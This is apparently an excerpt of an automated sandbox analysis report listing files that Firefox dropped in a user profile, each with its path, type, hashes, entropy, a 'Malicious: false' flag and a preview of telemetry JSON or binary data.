C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	524704
Entropy (8bit):	0.15321298738766884
Encrypted:	false
SSDEEP:	96:lgbyR17LWqbmO9GUNkbyR17LWZzbx9GUNBbbyR17LWQbmO9GUNOIbbyb17BW7g9I:c/O8Zs8Q/2On
MD5:	D613AFB71488E28CB4E754F6E0195396
SHA1:	8FE6CAD71A30C46021ECDB5CA93EBF4A84A46EF5
SHA-256:	3DAC8265AE6600BD83D440FE37310B89DC1AFBF6B3A3A0F3BF33CD627BBC43CD
SHA-512:	8F28B2AD90CC0B8FDA1756E2196BB8E98D213F08A181E8CD3865723B6B263C0E902FC8BFBBCAD0AF40B7D9A748929FFAED3F14FB80AB6B2450325C60836395BF
Malicious:	false
Reputation:	unknown
Preview:	7....-...........s.b8...8.v..- ..........s.b8............~...}.....0~.~.}...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\crashes\store.json.mozlz4 (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 56 bytes
Category:	dropped
Size (bytes):	66
Entropy (8bit):	4.837595020998689
Encrypted:	false
SSDEEP:	3:3fX/xH8IXl/I3v0lb7iioW:vXpH1RPXt
MD5:	A6338865EB252D0EF8FCF11FA9AF3F0D
SHA1:	CECDD4C4DCAE10C2FFC8EB938121B6231DE48CD3
SHA-256:	078648C042B9B08483CE246B7F01371072541A2E90D1BEB0C8009A6118CBD965
SHA-512:	D950227AC83F4E8246D73F9F35C19E88CE65D0CA5F1EF8CCBB02ED6EFC66B1B7E683E2BA0200279D7CA4B49831FD8C3CEB0584265B10ACCFF2611EC1CA8C0C6C
Malicious:	false
Reputation:	unknown
Preview:	mozLz40.8.....{"v":1,"crashes":{},"countsByDay....rruptDate":null}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\crashes\store.json.mozlz4.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 56 bytes
Category:	dropped
Size (bytes):	66
Entropy (8bit):	4.837595020998689
Encrypted:	false
SSDEEP:	3:3fX/xH8IXl/I3v0lb7iioW:vXpH1RPXt
MD5:	A6338865EB252D0EF8FCF11FA9AF3F0D
SHA1:	CECDD4C4DCAE10C2FFC8EB938121B6231DE48CD3
SHA-256:	078648C042B9B08483CE246B7F01371072541A2E90D1BEB0C8009A6118CBD965
SHA-512:	D950227AC83F4E8246D73F9F35C19E88CE65D0CA5F1EF8CCBB02ED6EFC66B1B7E683E2BA0200279D7CA4B49831FD8C3CEB0584265B10ACCFF2611EC1CA8C0C6C
Malicious:	false
Reputation:	unknown
Preview:	mozLz40.8.....{"v":1,"crashes":{},"countsByDay....rruptDate":null}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\aborted-session-ping (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	57349
Entropy (8bit):	5.239368335547915
Encrypted:	false
SSDEEP:	768:ZnIwCigRQ0z3QgERpbTDo6xmIorEw+xJlwJqNhnzFSJYvfK:ZIqgQ0jQ7TTegfJlwJqNhnzFSJx
MD5:	59A8349D1B4D0F42E6A8C5C4C53077A5
SHA1:	252A0FF6923B7AAF634A77C8673E5F908C1F3852
SHA-256:	26E7061A2451217AEB2AA77ACAAC40C84B3014E789A33F1205CDCE516A119D30
SHA-512:	57F2D188AA0F669016C4EB3036F14B0C4341F0647C7275CD86840A45BC30A9497CD53B5F8951354943D10A5215920F1CC40AD2D7DDF962619AD0178197BBB969
Malicious:	false
Reputation:	unknown
Preview:	{"type":"main","id":"9e94425e-e203-4780-a09f-5adb5700b771","creationDate":"2024-01-18T01:23:51.903Z","version":4,"application":{"architecture":"x86-64","buildId":"20230927232528","name":"Firefox","version":"118.0.1","displayVersion":"118.0.1","vendor":"Mozilla","platformVersion":"118.0.1","xpcomAbi":"x86_64-msvc","channel":"release"},"payload":{"ver":4,"simpleMeasurements":{"totalTime":13029,"start":6481287,"main":6481931,"selectProfile":6482257,"afterProfileLocked":6482262,"startupCrashDetectionBegin":6484464,"firstPaint":6491279,"firstPaint2":6490468,"sessionRestoreInit":6486916,"sessionRestored":6530119,"createTopLevelWindow":6485318,"AMI_startup_begin":12965755,"XPI_startup_begin":12965761,"XPI_bootstrap_addons_begin":12965766,"XPI_bootstrap_addons_end":12965962,"XPI_startup_end":12965963,"AMI_startup_end":12965963,"XPI_finalUIStartup":12968070,"sessionRestoreInitialized":12968071,"delayedStartupStarted":13010929,"delayedStartupFinished":13011101,"startupInterrupted":0,"debuggerAtt

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\aborted-session-ping.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	57349
Entropy (8bit):	5.239368335547915
Encrypted:	false
SSDEEP:	768:ZnIwCigRQ0z3QgERpbTDo6xmIorEw+xJlwJqNhnzFSJYvfK:ZIqgQ0jQ7TTegfJlwJqNhnzFSJx
MD5:	59A8349D1B4D0F42E6A8C5C4C53077A5
SHA1:	252A0FF6923B7AAF634A77C8673E5F908C1F3852
SHA-256:	26E7061A2451217AEB2AA77ACAAC40C84B3014E789A33F1205CDCE516A119D30
SHA-512:	57F2D188AA0F669016C4EB3036F14B0C4341F0647C7275CD86840A45BC30A9497CD53B5F8951354943D10A5215920F1CC40AD2D7DDF962619AD0178197BBB969
Malicious:	false
Reputation:	unknown
Preview:	{"type":"main","id":"9e94425e-e203-4780-a09f-5adb5700b771","creationDate":"2024-01-18T01:23:51.903Z","version":4,"application":{"architecture":"x86-64","buildId":"20230927232528","name":"Firefox","version":"118.0.1","displayVersion":"118.0.1","vendor":"Mozilla","platformVersion":"118.0.1","xpcomAbi":"x86_64-msvc","channel":"release"},"payload":{"ver":4,"simpleMeasurements":{"totalTime":13029,"start":6481287,"main":6481931,"selectProfile":6482257,"afterProfileLocked":6482262,"startupCrashDetectionBegin":6484464,"firstPaint":6491279,"firstPaint2":6490468,"sessionRestoreInit":6486916,"sessionRestored":6530119,"createTopLevelWindow":6485318,"AMI_startup_begin":12965755,"XPI_startup_begin":12965761,"XPI_bootstrap_addons_begin":12965766,"XPI_bootstrap_addons_end":12965962,"XPI_startup_end":12965963,"AMI_startup_end":12965963,"XPI_finalUIStartup":12968070,"sessionRestoreInitialized":12968071,"delayedStartupStarted":13010929,"delayedStartupFinished":13011101,"startupInterrupted":0,"debuggerAtt

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\db\data.safe.bin (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Matlab v4 mat-file (little endian) g, rows 0, columns 1025
Category:	dropped
Size (bytes):	12143
Entropy (8bit):	4.273049647774022
Encrypted:	false
SSDEEP:	192:OcD2uVk5PJ25+gAQ9D2EHRSSbpbWbrbz59vnboYSKpvhaoPbJS:OjYgQ9D2EHRvbpbWbrbzzboYXQoP8
MD5:	712F062064267D272F5ADCCFC7F763DC
SHA1:	FC5D451ABBFAA2DAE2FCA33BA346DA38E01C9393
SHA-256:	553C6F9EC0C82E3C3CCCD0B51574325ED83A2FF853C8C96FA541B9F3710F4E8C
SHA-512:	0190A6C5AF5D83AB4CE709DF09D38381BCF9D60CD02CCA0857596D4392FD30B8BCC565563D965DE748E45FBBD3A8D89ABC47845508D70DEA2977A19B063B4AE3
Malicious:	false
Reputation:	unknown
Preview:	.................ping....3.......'.......metrics#browser.engagement.active_ticks.................................metrics#fog.initialization..............................~..............metrics#fog.ipc.buffer_sizes]........T......................................................................................lX..? .......metrics#fog.max_pings_per_minute.....................................metrics#glean.database.size=........4...................j!.......................".........lX..?4.......metrics#glean.error.invalid_state/fog.initialization.........................".......metrics#glean.upload.pending_pings.........................1.......metrics#glean.upload.pending_pings_directory_size=........4...................B/.......................0.........lX..?4.......metrics#glean.upload.ping_upload_failure/recoverable.........................!.......metrics#glean.upload.send_failure=........4.....................Y1....................t.Q3....{Q}<.r.?!.......metrics#glean.upload.send_success

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\db\data.safe.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Matlab v4 mat-file (little endian) g, rows 0, columns 1025
Category:	dropped
Size (bytes):	12143
Entropy (8bit):	4.273049647774022
Encrypted:	false
SSDEEP:	192:OcD2uVk5PJ25+gAQ9D2EHRSSbpbWbrbz59vnboYSKpvhaoPbJS:OjYgQ9D2EHRvbpbWbrbzzboYXQoP8
MD5:	712F062064267D272F5ADCCFC7F763DC
SHA1:	FC5D451ABBFAA2DAE2FCA33BA346DA38E01C9393
SHA-256:	553C6F9EC0C82E3C3CCCD0B51574325ED83A2FF853C8C96FA541B9F3710F4E8C
SHA-512:	0190A6C5AF5D83AB4CE709DF09D38381BCF9D60CD02CCA0857596D4392FD30B8BCC565563D965DE748E45FBBD3A8D89ABC47845508D70DEA2977A19B063B4AE3
Malicious:	false
Reputation:	unknown
Preview:	.................ping....3.......'.......metrics#browser.engagement.active_ticks.................................metrics#fog.initialization..............................~..............metrics#fog.ipc.buffer_sizes]........T......................................................................................lX..? .......metrics#fog.max_pings_per_minute.....................................metrics#glean.database.size=........4...................j!.......................".........lX..?4.......metrics#glean.error.invalid_state/fog.initialization.........................".......metrics#glean.upload.pending_pings.........................1.......metrics#glean.upload.pending_pings_directory_size=........4...................B/.......................0.........lX..?4.......metrics#glean.upload.ping_upload_failure/recoverable.........................!.......metrics#glean.upload.send_failure=........4.....................Y1....................t.Q3....{Q}<.r.?!.......metrics#glean.upload.send_success

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\events\background-update

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	699
Entropy (8bit):	4.678373472273792
Encrypted:	false
SSDEEP:	12:YsDyIuZJcJ5ONhx5N/6U57oyRQDLIurPpXa8eRKkzJFbDLIurPpgRKkK9eK8dJFn:YSYMJmBfID/t1QHbD/tqVdHn
MD5:	24E236BC85E5C0E32A961395DACB8246
SHA1:	FFA0383DD4D8BFB5388E6384278C3687222BF3C3
SHA-256:	F5F46DC4D609967A232B63C69ACED8543E3F8E3C658D5E033E990953EE8AE7D2
SHA-512:	3AFB3BE63A733A6FFABDBC55A47779BD3C0A68E1E00B56EA4F030142EE1A1A0308CAF772D5A550FF9C56D9AE21A73BC548BDBE2235EB919D5ABFA9418A4B15DF
Malicious:	false
Reputation:	unknown
Preview:	{"timestamp":45981,"category":"nimbus_events","name":"enrollment","extra":{"enrollment_id":"87f3438f-d2b2-446e-9e35-b1cca1d2bb57","experiment_type":"rollout","experiment":"extensions-migration-in-import-wizard-116-rollout","branch":"control"}}.{"timestamp":46804,"category":"nimbus_events","name":"validation_failed","extra":{"reason":"invalid-feature","experiment":"next-generation-accessibility-user-powering-screen-readers","feature":"accessibilityCache"}}.{"timestamp":46804,"category":"nimbus_events","name":"validation_failed","extra":{"experiment":"next-generation-accessibility-user-powering-screen-readers-and-other-ats-copy","reason":"invalid-feature","feature":"accessibilityCache"}}.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\events\events

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	773
Entropy (8bit):	4.681661637644342
Encrypted:	false
SSDEEP:	12:YsDJIem1DyIuZJcJ5ONhx5N/6U57oyRQDLIurPpXa8eRKkzJFbDLIurPpgRKkK92:YSgDYMJmBfID/t1QHbD/tqVdHn
MD5:	85F9F3AE5D78D4956E8A3A9C8A00F9D7
SHA1:	60E55742CE963FDE2FEE4832C0D0B98FD4C44700
SHA-256:	1704856B1E9AD147922DC8643444D00D16AAB891EA12986D8D81AE648B8A75A7
SHA-512:	D610AD51094ACC3BF66217158EE6CBC953E021E69D73CE3F18A216833EE3E09714EBE85DDD8F19E6F4C00BA70979B4322AF01CED780D47EE05930534EFB7948E
Malicious:	false
Reputation:	unknown
Preview:	{"timestamp":0,"category":"fog.validation","name":"validate_early_event"}.{"timestamp":45981,"category":"nimbus_events","name":"enrollment","extra":{"enrollment_id":"87f3438f-d2b2-446e-9e35-b1cca1d2bb57","experiment_type":"rollout","experiment":"extensions-migration-in-import-wizard-116-rollout","branch":"control"}}.{"timestamp":46804,"category":"nimbus_events","name":"validation_failed","extra":{"reason":"invalid-feature","experiment":"next-generation-accessibility-user-powering-screen-readers","feature":"accessibilityCache"}}.{"timestamp":46804,"category":"nimbus_events","name":"validation_failed","extra":{"experiment":"next-generation-accessibility-user-powering-screen-readers-and-other-ats-copy","reason":"invalid-feature","feature":"accessibilityCache"}}.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\pending_pings\11a71126-4d48-4449-9378-318b63dda184 (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1538)
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.098491653952286
Encrypted:	false
SSDEEP:	48:E+oWLu4GOH4SencBdUxEjlETaZ+TWv7qk:M4GOH4See/lEmZ+TWv+k
MD5:	2F96309551C1FA855239D92A2F1A25AA
SHA1:	75804EDBFE1CB122EAB6804725DF193BC51A5811
SHA-256:	163CAE4FF552F7E35E0B3CB4F7AF94763F8E9FB29D834074927969851C321E43
SHA-512:	F5B9DC7D7CFFDA29B84A6F3889F639E5FF58C02EF1C029D7384B062B4395FD358CE850EB166DCB942D552092B06606E29557A5E982246810971DDE8F9ED4CCEE
Malicious:	false
Reputation:	unknown
Preview:	/submit/firefox-desktop/messaging-system/1/11a71126-4d48-4449-9378-318b63dda184.{"ping_info":{"seq":10,"start_time":"2023-10-05T08:20+02:00","end_time":"2024-01-18T02:23+01:00","experiments":{"serp-ad-telemetry-rollout":{"branch":"control","extra":{"type":"nimbus-rollout","enrollmentId":"e448ac36-35a1-421b-a6e6-dad58fb3f779"}},"upgrade-spotlight-rollout":{"branch":"treatment","extra":{"type":"nimbus-rollout","enrollmentId":"cff18e4e-a3e2-450c-a28f-e1824d155e26"}},"csv-import-release-rollout":{"branch":"enable-csv-import","extra":{"enrollmentId":"d4ca3def-aec5-42b2-b1e3-559d67fe58b7","type":"nimbus-rollout"}},"bookmarks-toolbar-default-on":{"branch":"treatment-a","extra":{"type":"nimbus-nimbus","enrollmentId":"d48f64a8-a4ab-4cdd-a650-4b386e41a201"}},"extensions-migration-in-import-wizard-116-rollout":{"branch":"control","extra":{"enrollmentId":"87f3438f-d2b2-446e-9e35-b1cca1d2bb57","type":"nimbus-rollout"}}}},"client_info":{"telemetry_sdk_build":"53.2.0","first_run_date":"2023-10-05+02:

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\pending_pings\137d78ac-f803-47ba-aeb6-e12b2746df19 (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1488)
Category:	dropped
Size (bytes):	1560
Entropy (8bit):	5.029127259138663
Encrypted:	false
SSDEEP:	24:BGGzO/RJgw+RhvXWLX+ghp++1iXQWSjJ+v+J5BdU+8M4k7msAMjdRNYJxp+woYO:7+vOH/WLu4PuSacBdUtM4k7+MBqpqYO
MD5:	0A37E8735A26C61C79C6F1BFED49B311
SHA1:	02856B6A8EE16696608B5AA7B2061F0BDA1F46C5
SHA-256:	4DA6EBFCEAF41FE9409C8050D7A9A73561CAB9DC2011FB6259D1844CDE2ED256
SHA-512:	51567D97CACA9310968D027253FA16D2AEB7A425944147E349121207C11C78CC25DFFE77972CC62E28E5E70760B0BD4196B26A3DAA413CE4994837B216A0922C
Malicious:	false
Reputation:	unknown
Preview:	/submit/firefox-desktop/baseline/1/137d78ac-f803-47ba-aeb6-e12b2746df19.{"ping_info":{"seq":2,"start_time":"2023-10-05T08:20+02:00","end_time":"2024-01-18T02:23+01:00","reason":"active","experiments":{"upgrade-spotlight-rollout":{"branch":"treatment","extra":{"type":"nimbus-rollout","enrollmentId":"cff18e4e-a3e2-450c-a28f-e1824d155e26"}},"serp-ad-telemetry-rollout":{"branch":"control","extra":{"type":"nimbus-rollout","enrollmentId":"e448ac36-35a1-421b-a6e6-dad58fb3f779"}},"bookmarks-toolbar-default-on":{"branch":"treatment-a","extra":{"type":"nimbus-nimbus","enrollmentId":"d48f64a8-a4ab-4cdd-a650-4b386e41a201"}},"csv-import-release-rollout":{"branch":"enable-csv-import","extra":{"enrollmentId":"d4ca3def-aec5-42b2-b1e3-559d67fe58b7","type":"nimbus-rollout"}},"extensions-migration-in-import-wizard-116-rollout":{"branch":"control","extra":{"enrollmentId":"87f3438f-d2b2-446e-9e35-b1cca1d2bb57","type":"nimbus-rollout"}}}},"client_info":{"telemetry_sdk_build":"53.2.0","client_id":"94e496bf-3

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\pending_pings\c5ec7d19-9a53-4bfb-8647-f4814d7fca67 (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (2799)
Category:	dropped
Size (bytes):	2869
Entropy (8bit):	4.916599245951587
Encrypted:	false
SSDEEP:	48:jfzRJSaayDWLVLUtM4smazmE/HiSKdWL18hbpojop:jDSaayQjy21qSfO91p
MD5:	AEC85DABD6209D6DE603FB65B497EDAA
SHA1:	8D167049F4A274A8C9CCF44A68849455742E3453
SHA-256:	24CFBFD76E424B9FEE0616034D055153872E03D04ADC59503336E97632C96FC9
SHA-512:	9BA1D8BB932E626A0461857C69B6FA02A0715227D7088ACB93888173637B95C62270929B0C785CEDA36F5BEF93F41D52CC706F094472B2E2093B0A836271187D
Malicious:	false
Reputation:	unknown
Preview:	/submit/firefox-desktop/events/1/c5ec7d19-9a53-4bfb-8647-f4814d7fca67.{"ping_info":{"seq":1,"start_time":"2023-10-05T08:20+02:00","end_time":"2024-01-18T02:23+01:00","reason":"startup","experiments":{"bookmarks-toolbar-default-on":{"branch":"treatment-a","extra":{"enrollmentId":"d48f64a8-a4ab-4cdd-a650-4b386e41a201","type":"nimbus-nimbus"}},"csv-import-release-rollout":{"branch":"enable-csv-import","extra":{"type":"nimbus-rollout","enrollmentId":"d4ca3def-aec5-42b2-b1e3-559d67fe58b7"}},"upgrade-spotlight-rollout":{"branch":"treatment","extra":{"enrollmentId":"cff18e4e-a3e2-450c-a28f-e1824d155e26","type":"nimbus-rollout"}},"serp-ad-telemetry-rollout":{"branch":"control","extra":{"enrollmentId":"e448ac36-35a1-421b-a6e6-dad58fb3f779","type":"nimbus-rollout"}}}},"client_info":{"telemetry_sdk_build":"53.2.0","client_id":"94e496bf-3c7e-4db9-9bf8-122f99be3ca5","architecture":"x86_64","app_display_version":"118.0.1","os":"Windows","app_channel":"release","locale":"en-US","os_version":"10.0","a

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\pending_pings\ef389260-b0e9-43df-b1b9-745ffc85ea47 (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (949)
Category:	dropped
Size (bytes):	1019
Entropy (8bit):	5.015565433034746
Encrypted:	false
SSDEEP:	24:BGgl6zFU+8M4OIMoTAjj5GJtpnGAh5wZLZYPg:RwpUtM4OHjtmtgAHPg
MD5:	D729D7A26A4269793BEE71ADD64C77E8
SHA1:	6200DBBD2659C75D44EF6AB82AF13B0F47CE1F0E
SHA-256:	26882077B4FF8858A7690895F96B3B4980707631BD07A068797720CDEA29B90A
SHA-512:	FD6B45C87C9A98DFE016BF40A193DD2168FB7493437CA309AFAAA2499DFF606C33935A809D2BD0678E2D1AC066965F2CB1ABAE87B54E7783E20D9BAC16F54F36
Malicious:	false
Reputation:	unknown
Preview:	/submit/firefox-desktop/newtab/1/ef389260-b0e9-43df-b1b9-745ffc85ea47.{"ping_info":{"seq":6,"start_time":"2023-10-05T08:20+02:00","end_time":"2024-01-18T02:23+01:00","reason":"component_init"},"client_info":{"telemetry_sdk_build":"53.2.0","client_id":"94e496bf-3c7e-4db9-9bf8-122f99be3ca5","windows_build_number":19045,"os":"Windows","locale":"en-US","os_version":"10.0","app_channel":"release","app_display_version":"118.0.1","architecture":"x86_64","app_build":"20230927232528","build_date":"1970-01-01T00:00:00+00:00","first_run_date":"2023-10-05+02:00"},"metrics":{"uuid":{"legacy.telemetry.client_id":"7340e351-fad3-4a0f-b554-971fbfafe8fb"},"string_list":{"newtab.blocked_sponsors":[]},"boolean":{"pocket.sponsored_stories_enabled":true,"topsites.sponsored_enabled":true,"newtab.search.enabled":true,"pocket.is_signed_in":false,"topsites.enabled":true,"pocket.enabled":true},"quantity":{"topsites.rows":1},"string":{"newtab.locale":"en-US","newtab.newtab_category":"enabled","newtab.homepage_cat

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\pending_pings\fa67d5ff-77bd-4aa6-a666-41287bce730e (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1538)
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.097587698235928
Encrypted:	false
SSDEEP:	48:Gbx+oWLu4hcB2SjOHvu+USsyBpQv7qOa+TZSbD:0482SjOHvO8Qv+j+TZSbD
MD5:	0A816C9E0D74C05DBB765064EE85B899
SHA1:	D697A8F85C4F78BDA679D4B189A9B62803A496F0
SHA-256:	9140835957B53F6C9095F19A1C2A7333520F535C29561E6B00CCE10C9FBFB655
SHA-512:	5608FB7AA2B7231AD281371822F4FB80DD2725EEA156E00BA6EB2AFCB4597DA8DC01B0CFEF9841193FF007D2C13FFA452346892493D09A71774166A6238CCC8A
Malicious:	false
Reputation:	unknown
Preview:	/submit/firefox-desktop/messaging-system/1/fa67d5ff-77bd-4aa6-a666-41287bce730e.{"ping_info":{"seq":11,"start_time":"2024-01-18T02:23+01:00","end_time":"2024-01-18T02:23+01:00","experiments":{"serp-ad-telemetry-rollout":{"branch":"control","extra":{"type":"nimbus-rollout","enrollmentId":"e448ac36-35a1-421b-a6e6-dad58fb3f779"}},"extensions-migration-in-import-wizard-116-rollout":{"branch":"control","extra":{"enrollmentId":"87f3438f-d2b2-446e-9e35-b1cca1d2bb57","type":"nimbus-rollout"}},"csv-import-release-rollout":{"branch":"enable-csv-import","extra":{"enrollmentId":"d4ca3def-aec5-42b2-b1e3-559d67fe58b7","type":"nimbus-rollout"}},"upgrade-spotlight-rollout":{"branch":"treatment","extra":{"type":"nimbus-rollout","enrollmentId":"cff18e4e-a3e2-450c-a28f-e1824d155e26"}},"bookmarks-toolbar-default-on":{"branch":"treatment-a","extra":{"enrollmentId":"d48f64a8-a4ab-4cdd-a650-4b386e41a201","type":"nimbus-nimbus"}}}},"client_info":{"telemetry_sdk_build":"53.2.0","app_channel":"release","archite

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\tmp\11a71126-4d48-4449-9378-318b63dda184

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1538)
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.098491653952286
Encrypted:	false
SSDEEP:	48:E+oWLu4GOH4SencBdUxEjlETaZ+TWv7qk:M4GOH4See/lEmZ+TWv+k
MD5:	2F96309551C1FA855239D92A2F1A25AA
SHA1:	75804EDBFE1CB122EAB6804725DF193BC51A5811
SHA-256:	163CAE4FF552F7E35E0B3CB4F7AF94763F8E9FB29D834074927969851C321E43
SHA-512:	F5B9DC7D7CFFDA29B84A6F3889F639E5FF58C02EF1C029D7384B062B4395FD358CE850EB166DCB942D552092B06606E29557A5E982246810971DDE8F9ED4CCEE
Malicious:	false
Reputation:	unknown
Preview:	/submit/firefox-desktop/messaging-system/1/11a71126-4d48-4449-9378-318b63dda184.{"ping_info":{"seq":10,"start_time":"2023-10-05T08:20+02:00","end_time":"2024-01-18T02:23+01:00","experiments":{"serp-ad-telemetry-rollout":{"branch":"control","extra":{"type":"nimbus-rollout","enrollmentId":"e448ac36-35a1-421b-a6e6-dad58fb3f779"}},"upgrade-spotlight-rollout":{"branch":"treatment","extra":{"type":"nimbus-rollout","enrollmentId":"cff18e4e-a3e2-450c-a28f-e1824d155e26"}},"csv-import-release-rollout":{"branch":"enable-csv-import","extra":{"enrollmentId":"d4ca3def-aec5-42b2-b1e3-559d67fe58b7","type":"nimbus-rollout"}},"bookmarks-toolbar-default-on":{"branch":"treatment-a","extra":{"type":"nimbus-nimbus","enrollmentId":"d48f64a8-a4ab-4cdd-a650-4b386e41a201"}},"extensions-migration-in-import-wizard-116-rollout":{"branch":"control","extra":{"enrollmentId":"87f3438f-d2b2-446e-9e35-b1cca1d2bb57","type":"nimbus-rollout"}}}},"client_info":{"telemetry_sdk_build":"53.2.0","first_run_date":"2023-10-05+02:

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\tmp\137d78ac-f803-47ba-aeb6-e12b2746df19

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1488)
Category:	dropped
Size (bytes):	1560
Entropy (8bit):	5.029127259138663
Encrypted:	false
SSDEEP:	24:BGGzO/RJgw+RhvXWLX+ghp++1iXQWSjJ+v+J5BdU+8M4k7msAMjdRNYJxp+woYO:7+vOH/WLu4PuSacBdUtM4k7+MBqpqYO
MD5:	0A37E8735A26C61C79C6F1BFED49B311
SHA1:	02856B6A8EE16696608B5AA7B2061F0BDA1F46C5
SHA-256:	4DA6EBFCEAF41FE9409C8050D7A9A73561CAB9DC2011FB6259D1844CDE2ED256
SHA-512:	51567D97CACA9310968D027253FA16D2AEB7A425944147E349121207C11C78CC25DFFE77972CC62E28E5E70760B0BD4196B26A3DAA413CE4994837B216A0922C
Malicious:	false
Reputation:	unknown
Preview:	/submit/firefox-desktop/baseline/1/137d78ac-f803-47ba-aeb6-e12b2746df19.{"ping_info":{"seq":2,"start_time":"2023-10-05T08:20+02:00","end_time":"2024-01-18T02:23+01:00","reason":"active","experiments":{"upgrade-spotlight-rollout":{"branch":"treatment","extra":{"type":"nimbus-rollout","enrollmentId":"cff18e4e-a3e2-450c-a28f-e1824d155e26"}},"serp-ad-telemetry-rollout":{"branch":"control","extra":{"type":"nimbus-rollout","enrollmentId":"e448ac36-35a1-421b-a6e6-dad58fb3f779"}},"bookmarks-toolbar-default-on":{"branch":"treatment-a","extra":{"type":"nimbus-nimbus","enrollmentId":"d48f64a8-a4ab-4cdd-a650-4b386e41a201"}},"csv-import-release-rollout":{"branch":"enable-csv-import","extra":{"enrollmentId":"d4ca3def-aec5-42b2-b1e3-559d67fe58b7","type":"nimbus-rollout"}},"extensions-migration-in-import-wizard-116-rollout":{"branch":"control","extra":{"enrollmentId":"87f3438f-d2b2-446e-9e35-b1cca1d2bb57","type":"nimbus-rollout"}}}},"client_info":{"telemetry_sdk_build":"53.2.0","client_id":"94e496bf-3

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\tmp\c5ec7d19-9a53-4bfb-8647-f4814d7fca67

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (2799)
Category:	dropped
Size (bytes):	2869
Entropy (8bit):	4.916599245951587
Encrypted:	false
SSDEEP:	48:jfzRJSaayDWLVLUtM4smazmE/HiSKdWL18hbpojop:jDSaayQjy21qSfO91p
MD5:	AEC85DABD6209D6DE603FB65B497EDAA
SHA1:	8D167049F4A274A8C9CCF44A68849455742E3453
SHA-256:	24CFBFD76E424B9FEE0616034D055153872E03D04ADC59503336E97632C96FC9
SHA-512:	9BA1D8BB932E626A0461857C69B6FA02A0715227D7088ACB93888173637B95C62270929B0C785CEDA36F5BEF93F41D52CC706F094472B2E2093B0A836271187D
Malicious:	false
Reputation:	unknown
Preview:	/submit/firefox-desktop/events/1/c5ec7d19-9a53-4bfb-8647-f4814d7fca67.{"ping_info":{"seq":1,"start_time":"2023-10-05T08:20+02:00","end_time":"2024-01-18T02:23+01:00","reason":"startup","experiments":{"bookmarks-toolbar-default-on":{"branch":"treatment-a","extra":{"enrollmentId":"d48f64a8-a4ab-4cdd-a650-4b386e41a201","type":"nimbus-nimbus"}},"csv-import-release-rollout":{"branch":"enable-csv-import","extra":{"type":"nimbus-rollout","enrollmentId":"d4ca3def-aec5-42b2-b1e3-559d67fe58b7"}},"upgrade-spotlight-rollout":{"branch":"treatment","extra":{"enrollmentId":"cff18e4e-a3e2-450c-a28f-e1824d155e26","type":"nimbus-rollout"}},"serp-ad-telemetry-rollout":{"branch":"control","extra":{"enrollmentId":"e448ac36-35a1-421b-a6e6-dad58fb3f779","type":"nimbus-rollout"}}}},"client_info":{"telemetry_sdk_build":"53.2.0","client_id":"94e496bf-3c7e-4db9-9bf8-122f99be3ca5","architecture":"x86_64","app_display_version":"118.0.1","os":"Windows","app_channel":"release","locale":"en-US","os_version":"10.0","a

